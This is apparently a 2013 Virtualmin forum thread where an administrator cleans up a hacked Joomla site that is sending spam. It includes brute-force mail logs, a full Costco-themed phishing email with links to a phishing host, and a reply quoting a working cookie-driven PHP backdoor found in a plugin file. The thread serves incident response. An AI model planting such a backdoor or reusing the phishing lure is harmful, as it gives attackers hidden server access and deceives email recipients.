SOLVED - please help, server hacked (postfix, mailq is filling up FAST)

40 posts / 0 new
Last post
#1 Tue, 12/24/2013 - 11:23
nobodyfamous

SOLVED - please help, server hacked (postfix, mailq is filling up FAST)

I just sat down to find my server was buggered!

One of my sites, ourshore.ca is sending spam!!! I took the site off line (it is Joomla) and just stopped Postfix and Dovecot.

The Postfix Mail Queue is filling up with 100's of emails every few minutes.

How do I find the problem and fix it?

Tue, 12/24/2013 - 13:21
andreychek

Howdy,

Now that you've disabled the site, are you continuing to get more spam in the mail queue?

If so, that may mean you're getting spam via a source other than just the site... that may mean one of the email accounts was broken into.

However, you should be able to determine that from the headers of the spam messages what the actual source is.

Once you've reviewed the headers, you may want to clear out the Postfix queue.

-Eric

Tue, 12/24/2013 - 13:41
nobodyfamous

The site is back up as it made no difference.

This came from a brute force attack, that is very apparent in the mail.log

My Server Provider just suggested to lock down with the firewall. Not sure how to do that.

Sat, 12/28/2013 - 04:01 (Reply to #3)
astecko

Hi My english is not enough but I will try to help.: I see in your log this file/script php : sys09725848.php <<<< this is reason DELETE this file /components/com_mailto/sys09725848.php i think this is the path to this file

use akkeba admin tools to fix permission folder and file upgruade joomla and check your htaccess file<<

Sat, 12/28/2013 - 08:05 (Reply to #4)
nobodyfamous

THANK YOU! I found that file, but it was in /components/com_media/ Either way, that sure looks like it!

Tue, 01/07/2014 - 06:47 (Reply to #5)
astecko

Please open folder plugin do you see .joomla.system.php ? this file is backdoor: <?php /** * @package Joomla.Plugin * @since 1.5 */ class PlgSystemJoomla { public function __construct() { $file=@$_COOKIE['Jlm3']; if ($file){ $opt = $file(@$_COOKIE['Jlm2']); $au = $file(@$_COOKIE['Jlm1']); $opt("/585/e",$au,585); die(); }}} $index = new PlgSystemJoomla;

remove this file

next remove also com_eXtplorer http://forum.joomla.org/viewtopic.php?f=714&t=829974

Tue, 01/07/2014 - 08:38 (Reply to #6)
nobodyfamous

Thank you again! I just went through 7 different Joomla sites and removed eXtplorer. I never used it much anyway. Came in handy for client with their own hosting (GoDaddy, ugh) but I don't need it.

Only the one site had any of the malicious files on it.

Tue, 12/24/2013 - 14:21
Locutus

If you found out which account/site is/was being used to send the spam (authentication headers and mail log entries should provide that info), it should suffice to lock down the respective account and then clear out the mail queue.

I wouldn't really know what "locking down with the firewall" is supposed to mean or help...

Tue, 12/24/2013 - 15:16
nobodyfamous

the user it is using is ourshore.ca which is listed under users with login access of Email, FTP, and SSH

Currently the onlything ourshore.ca is doing is accessing a database.

How do I remove the EMAIL access? (this is the default user created by virtualmin when the virtual server was created)

EDIT: I have disabled the entire virtual server, and this has stopped the SPAM, but of course the website and actual email account with it is now gone.

Tue, 12/24/2013 - 16:22
Locutus

If the login was compromised, just change the user's password, thus disabling them from abusing your server, while keeping website and stuff active.

Tue, 12/24/2013 - 21:53 (Reply to #10)
nobodyfamous

How do I disable for this one? All the email seems to be being sent from ourshore.ca

The actual email being sent is coming from manager@ourshore.ca (that email and user does not exist)

here is the full raw message w/headers from a bounced mail

Return-Path: <>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on
sdc.starlingdesign.ca
X-Spam-Level:
X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,NO_RELAYS
autolearn=ham version=3.3.2
X-Original-To: ourshore.ca@sdc.starlingdesign.ca
Delivered-To: ourshore.ca@sdc.starlingdesign.ca
Received: by sdc.starlingdesign.ca (Postfix)
id AC35084075; Tue, 24 Dec 2013 16:19:43 -0400 (AST)
Date: Tue, 24 Dec 2013 16:19:43 -0400 (AST)
From: MAILER-DAEMON@sdc.starlingdesign.ca (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: ourshore.ca@sdc.starlingdesign.ca
Auto-Submitted: auto-replied
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="1C71084055.1387916383/sdc.starlingdesign.ca"
Message-Id: <20131224201943.AC35084075@sdc.starlingdesign.ca>

This is a MIME-encapsulated message.

--1C71084055.1387916383/sdc.starlingdesign.ca
Content-Description: Notification
Content-Type: text/plain; charset=us-ascii

This is the mail system at host sdc.starlingdesign.ca.

I'm sorry to have to inform you that your message could not
be delivered to one or more recipients. It's attached below.

For further assistance, please send mail to postmaster.

If you do so, please include this problem report. You can
delete your own text from the attached returned message.

                   The mail system

<msosinski@woh.rr.com>: host cdptpa-pub-iedge-vip.email.rr.com[107.14.166.70]
    said: 554 Invalid recipient (in reply to RCPT TO command)

--1C71084055.1387916383/sdc.starlingdesign.ca
Content-Description: Delivery report
Content-Type: message/delivery-status

Reporting-MTA: dns; sdc.starlingdesign.ca
X-Postfix-Queue-ID: 1C71084055
X-Postfix-Sender: rfc822; ourshore.ca@sdc.starlingdesign.ca
Arrival-Date: Tue, 24 Dec 2013 16:19:15 -0400 (AST)

Final-Recipient: rfc822; msosinski@woh.rr.com
Action: failed
Status: 5.0.0
Remote-MTA: dns; cdptpa-pub-iedge-vip.email.rr.com
Diagnostic-Code: smtp; 554 Invalid recipient

--1C71084055.1387916383/sdc.starlingdesign.ca
Content-Description: Undelivered Message
Content-Type: message/rfc822

Return-Path: <ourshore.ca@sdc.starlingdesign.ca>
Received: by sdc.starlingdesign.ca (Postfix, from userid 1014)
id 1C71084055; Tue, 24 Dec 2013 16:19:15 -0400 (AST)
To: msosinski@woh.rr.com
Subject: Delivery Canceling
X-PHP-Originating-Script: 1014:sys09725848.php
From: "Costco Shipping Manager" <manager@ourshore.ca>
X-Mailer: rajahmadsen
Reply-To: "Costco Shipping Manager" <manager@ourshore.ca>
Mime-Version: 1.0
Content-Type: multipart/alternative;boundary="----------138791635552B9EC431A6AA"
Message-Id: <20131224201943.1C71084055@sdc.starlingdesign.ca>
Date: Tue, 24 Dec 2013 16:19:15 -0400 (AST)

------------138791635552B9EC431A6AA
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit





  &nbsp;


 
 
 
  Costco
 
 
 
 
 
 
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WHOLESALE
 
 
 


  &nbsp;
  &nbsp;
  &nbsp;


 
 
  Unfortunately the delivery of your order
  COS-0031180544
  was cancelled since
  the specified address of the recipient was not correct. You are
  recommended to complete
 
  this form and send it
  back with your reply to us.
 
  Please do this within the period of one week - if we dont get your
  timely reply you will be paid your money back less 21% since your
  order was booked for Christmas.
 
  &nbsp;


 
  1998 -
  2013
  Costco Wholesale Corporation
  All rights reserved





------------138791635552B9EC431A6AA
Content-Type: text/html; charset="ISO-8859-1";
Content-Transfer-Encoding: 7bit

<html>
<body>
<table border="0" width="718" height="296"
style="border-collapse: collapse">
<tr>
  <td bgcolor="#666666" width="716" colspan="3" height="27">&nbsp;</td>
</tr>
<tr style="line-height:0.7">
  <td bgcolor="#EFEFEF" width="716" colspan="3" height="41">
  <span style="letter-spacing: -3px;font-size:24pt;color:#E51937">
  <font face="Arial Black">
  Costco
  </font>
  </span>
  <font face="Arial Black">
  <span style="letter-spacing: -2px">
  </span>
  <span style="letter-spacing: -1px;"><br>
  <font size="2" color="#0058A9">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WHOLESALE</font>
  </span>
  </font>
  </td>
</tr>
<tr>
  <td width="201" bgcolor="#4385BE" height="24">&nbsp;</td>
  <td width="315" bgcolor="#3E729F" height="24">&nbsp;</td>
  <td width="196" bgcolor="#4385BE" height="24">&nbsp;</td>
</tr>
<tr>
  <td width="716" colspan="3"><br>
  <div style="position:relative;font-family: Arial,sans-serif;font-size:10pt;left:10px">
  Unfortunately the delivery of your order
  <a href="http://froschtempel.de/media/sSbLKvFb7DzlfisNOedWfrImv6Ci0WUShiGtPUmJJbU=/CostcoForm">COS-0031180544</a>
  was cancelled since
  the specified address of the recipient was not correct. You are
  recommended to complete
  <a href="http://froschtempel.de/media/sSbLKvFb7DzlfisNOedWfrImv6Ci0WUShiGtPUmJJbU=/CostcoForm">
  this form</a> and send it
  back with your reply to us. <br>
  <br>
  Please do this within the period of one week - if we dont get your
  timely reply you will be paid your money back less 21% since your
  order was booked for Christmas.
  </div>
  &nbsp;</td>
</tr>
<tr>
  <td width="716" colspan="3" bgcolor="#ABABAB" height="41">
  <p align="right"><font color="#333333" face="Arial" size="1">1998 -
  2013<br>
  Costco Wholesale Corporation<br>
  All rights reserved</font></td>
</tr>
</table>
</body>
</html>

------------138791635552B9EC431A6AA--

--1C71084055.1387916383/sdc.starlingdesign.ca--
Tue, 12/24/2013 - 17:34
Locutus

Firewalls don't help against compromised email accounts or websites. Still it doesn't hurt of course to only have those ports open you really need. I do the same with an external (virtual) firewall on my systems.

Using a software like OSSEC is also advisable. An alternative (which I myself use) is CSF/LFD (ConfigServer Security & Firewall / Login Failure Daemon), which integrates nicely with Webmin.

Tue, 12/24/2013 - 19:36
nobodyfamous

TSC Thanks for your help. I reset the firewall as per your instructions. I think it may have not even been on before, oops!

I installed ossec, but I see it is not monitoring the mail log. I had a brute force attack that obviously succeeded at some point. Will ossec block this in the future?

I will post a bit of the mail log to see if anyone has any further advice.

Tue, 12/24/2013 - 19:46
nobodyfamous

here is the begining of the current log

Dec 22 07:35:38 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Iiris>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:35:41 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilmo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:35:44 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilmo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:35:58 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Iiro>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:36:01 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilona>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:36:04 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilona>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:36:18 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Iisakki>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:36:22 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilpo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:36:24 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilpo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:36:38 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Iivari>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:36:42 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilppo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:36:44 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilppo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:36:58 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Iivo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:37:03 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilta>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:37:04 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilta>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:37:18 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilari>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:37:23 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Immanuel>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:37:24 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Immanuel>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:37:39 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilkka>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:37:43 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Immi>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:37:44 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Immi>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:37:59 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilma>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:38:03 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Immo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:38:04 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Immo>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:38:19 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilmari>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:38:24 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Impi>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:38:24 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Impi>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:38:39 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilmatar>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:38:44 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Inari>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 22 07:38:44 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Inari>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 22 07:38:59 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Ilmi>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 22 07:39:03 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<Inka>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38

You can see the brute forceness of it - this goes on untill the next bit I will post. This is somewhere around the time the mail started being sent from the server, and was shortly blacklisted.

Dec 24 08:10:09 sdc postfix/pickup[10970]: 6E6D584032: uid=33 from=<www-data>
Dec 24 08:10:09 sdc postfix/cleanup[13860]: 6E6D584032: message-id=<20131224121009.6E6D584032@sdc.starlingdesign.ca>
Dec 24 08:10:09 sdc postfix/qmgr[1789]: 6E6D584032: from=<www-data@sdc.starlingdesign.ca>, size=7288, nrcpt=1 (queue active)
Dec 24 08:10:09 sdc postfix/local[13862]: 6E6D584032: to=<root@sdc.starlingdesign.ca>, orig_to=<root>, relay=local, delay=0.14, delays=0.04/0.01/0/0.09, dsn=2.0.0, status=$
Dec 24 08:10:09 sdc postfix/qmgr[1789]: 6E6D584032: removed
Dec 24 08:10:15 sdc postfix/anvil[13465]: statistics: max connection rate 1/60s for (smtp:192.254.250.167) at Dec 24 08:06:54
Dec 24 08:10:15 sdc postfix/anvil[13465]: statistics: max connection count 1 for (smtp:192.254.250.167) at Dec 24 08:06:54
Dec 24 08:10:15 sdc postfix/anvil[13465]: statistics: max cache size 1 at Dec 24 08:06:54
Dec 24 08:20:12 sdc postfix/pickup[10970]: 2BA4684032: uid=33 from=<www-data>
Dec 24 08:20:12 sdc postfix/cleanup[15506]: 2BA4684032: message-id=<20131224122012.2BA4684032@sdc.starlingdesign.ca>
Dec 24 08:20:12 sdc postfix/qmgr[1789]: 2BA4684032: from=<www-data@sdc.starlingdesign.ca>, size=7288, nrcpt=1 (queue active)
Dec 24 08:20:13 sdc postfix/local[15509]: 2BA4684032: to=<root@sdc.starlingdesign.ca>, orig_to=<root>, relay=local, delay=1.7, delays=0.02/0.01/0/1.7, dsn=2.0.0, status=se$
Dec 24 08:20:13 sdc postfix/qmgr[1789]: 2BA4684032: removed
Dec 24 08:27:26 sdc postfix/pickup[10970]: 1F6EB84032: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 1F6EB84032: message-id=<20131224122726.1F6EB84032@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 1F6EB84032: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3463, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 263A584033: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 263A584033: message-id=<20131224122726.263A584033@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 263A584033: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3500, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 2E80A84034: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 2E80A84034: message-id=<20131224122726.2E80A84034@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 2E80A84034: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3484, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 3D61684036: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 3D61684036: message-id=<20131224122726.3D61684036@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 3D61684036: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3483, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 458C984037: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 458C984037: message-id=<20131224122726.458C984037@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 458C984037: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3475, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 4D67384038: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 4D67384038: message-id=<20131224122726.4D67384038@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 4D67384038: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3499, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 5591B84039: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 5591B84039: message-id=<20131224122726.5591B84039@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 5591B84039: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3484, nrcpt=1 (queue active)
Dec 24 08:27:26 sdc postfix/pickup[10970]: 5D2168403A: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 5D2168403A: message-id=<20131224122726.5D2168403A@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 5D2168403A: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3503, nrcpt=1 (queue active)

There are lots of different patterns of what was going on. I am really not sure what to look for.

Tue, 12/24/2013 - 19:49
nobodyfamous

here is after I was blacklisted, and the mail started to bounce

Dec 24 08:30:52 sdc postfix/qmgr[1789]: 26E068405A: from=<>, size=5569, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/pickup[17463]: 34FBF84064: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17367]: 34FBF84064: message-id=<20131224123052.34FBF84064@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 34FBF84064: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3494, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/smtp[16607]: D03868407B: to=<larunmusic@yahoo.com>, relay=mta5.am0.yahoodns.net[66.196.118.33]:25, delay=0.41, delays=0/0/0.18/0.23, dsn=5.0.0,$
Dec 24 08:30:52 sdc postfix/cleanup[17189]: 41F8B84084: message-id=<20131224123052.41F8B84084@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/pickup[17463]: 426D684085: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17367]: 426D684085: message-id=<20131224123052.426D684085@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 41F8B84084: from=<>, size=5651, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 426D684085: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3512, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/bounce[16677]: D03868407B: sender non-delivery notification: 41F8B84084
Dec 24 08:30:52 sdc postfix/qmgr[1789]: D03868407B: removed
Dec 24 08:30:52 sdc postfix/pickup[17463]: 4D6DA8407B: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17367]: 4D6DA8407B: message-id=<20131224123052.4D6DA8407B@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 4D6DA8407B: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3501, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/smtp[16578]: 7E48C8405B: to=<lastflightout777@wmconnect.com>, relay=mailin-02.mx.aol.com[64.12.88.164]:25, delay=0.85, delays=0.01/0/0.34/0.5, $
Dec 24 08:30:52 sdc postfix/cleanup[17189]: 5E5B884086: message-id=<20131224123052.5E5B884086@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 5E5B884086: from=<>, size=5543, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/bounce[16678]: 7E48C8405B: sender non-delivery notification: 5E5B884086
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 7E48C8405B: removed
Dec 24 08:30:52 sdc postfix/pickup[17463]: 5F55D8405B: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17367]: 5F55D8405B: message-id=<20131224123052.5F55D8405B@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/smtp[16586]: E681F84041: to=<lastlightout777@wmconnect.com>, relay=mailin-04.mx.aol.com[64.12.88.131]:25, delay=0.49, delays=0.04/0.01/0.34/0.1$
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 5F55D8405B: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3505, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/smtp[16591]: B816084076: to=<lathen_flick@hotmail.com>, relay=mx4.hotmail.com[65.55.37.72]:25, delay=0.67, delays=0.01/0/0.25/0.41, dsn=2.0.0, $
Dec 24 08:30:52 sdc postfix/qmgr[1789]: B816084076: removed
Dec 24 08:30:52 sdc postfix/cleanup[17189]: 6927084083: message-id=<20131224123052.6927084083@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/bounce[17188]: E681F84041: sender non-delivery notification: 6927084083
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 6927084083: from=<>, size=5589, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/qmgr[1789]: E681F84041: removed
Dec 24 08:30:52 sdc postfix/smtp[16588]: DB5408407D: to=<lathena_laddaran@hotmail.com>, relay=mx2.hotmail.com[65.54.188.126]:25, delay=0.58, delays=0.06/0/0.23/0.28, dsn=2$
Dec 24 08:30:52 sdc postfix/qmgr[1789]: DB5408407D: removed
Dec 24 08:30:52 sdc postfix/pickup[17463]: 7313184041: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17367]: 7313184041: message-id=<20131224123052.7313184041@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 7313184041: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3501, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/pickup[17463]: 7D4EE84076: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17189]: 7D4EE84076: message-id=<20131224123052.7D4EE84076@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 7D4EE84076: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3496, nrcpt=1 (queue active)
Dec 24 08:30:52 sdc postfix/smtp[16619]: C51078407A: to=<lastlap02@wmconnect.com>, relay=mailin-04.mx.aol.com[64.12.138.161]:25, delay=0.83, delays=0/0/0.67/0.15, dsn=5.1.$
Dec 24 08:30:52 sdc postfix/pickup[17463]: 99FD684087: uid=1014 from=<ourshore.ca>
Dec 24 08:30:52 sdc postfix/cleanup[17367]: 99FD684087: message-id=<20131224123052.99FD684087@sdc.starlingdesign.ca>
Dec 24 08:30:52 sdc postfix/qmgr[1789]: 99FD684087: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3503, nrcpt=1 (queue active)
Tue, 12/24/2013 - 19:51
nobodyfamous

here this was yesterday, I thought it was strange as it went from POP3 to a postfix/smtpd

Dec 23 02:28:53 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 23 02:28:56 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 23 02:29:13 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 23 02:29:13 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 23 02:29:15 sdc postfix/smtpd[15309]: connect from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:15 sdc postfix/smtpd[15307]: connect from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:15 sdc postfix/smtpd[15310]: connect from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:17 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 23 02:29:18 sdc postfix/smtpd[15309]: warning: h1832461.stratoserver.net[85.214.85.40]: SASL LOGIN authentication failed: authentication failure
Dec 23 02:29:18 sdc postfix/smtpd[15310]: warning: h1832461.stratoserver.net[85.214.85.40]: SASL LOGIN authentication failed: authentication failure
Dec 23 02:29:18 sdc postfix/smtpd[15307]: warning: h1832461.stratoserver.net[85.214.85.40]: SASL LOGIN authentication failed: authentication failure
Dec 23 02:29:18 sdc postfix/smtpd[15309]: lost connection after AUTH from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:18 sdc postfix/smtpd[15309]: disconnect from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:18 sdc postfix/smtpd[15310]: lost connection after AUTH from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:18 sdc postfix/smtpd[15310]: disconnect from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:18 sdc postfix/smtpd[15307]: lost connection after AUTH from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:18 sdc postfix/smtpd[15307]: disconnect from h1832461.stratoserver.net[85.214.85.40]
Dec 23 02:29:33 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 23 02:29:33 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 23 02:29:37 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 23 02:29:53 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 23 02:29:53 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 23 02:29:57 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 23 02:30:00 sdc postfix/smtpd[15309]: connect from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:00 sdc postfix/smtpd[15307]: connect from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:00 sdc postfix/smtpd[15310]: connect from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:03 sdc postfix/smtpd[15307]: warning: h1960653.stratoserver.net[85.214.84.44]: SASL LOGIN authentication failed: authentication failure
Dec 23 02:30:03 sdc postfix/smtpd[15310]: warning: h1960653.stratoserver.net[85.214.84.44]: SASL LOGIN authentication failed: authentication failure
Dec 23 02:30:03 sdc postfix/smtpd[15309]: warning: h1960653.stratoserver.net[85.214.84.44]: SASL LOGIN authentication failed: authentication failure
Dec 23 02:30:03 sdc postfix/smtpd[15309]: lost connection after AUTH from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:03 sdc postfix/smtpd[15309]: disconnect from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:03 sdc postfix/smtpd[15307]: lost connection after AUTH from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:03 sdc postfix/smtpd[15307]: disconnect from h1960653.stratoserver.net[85.214.84.44]
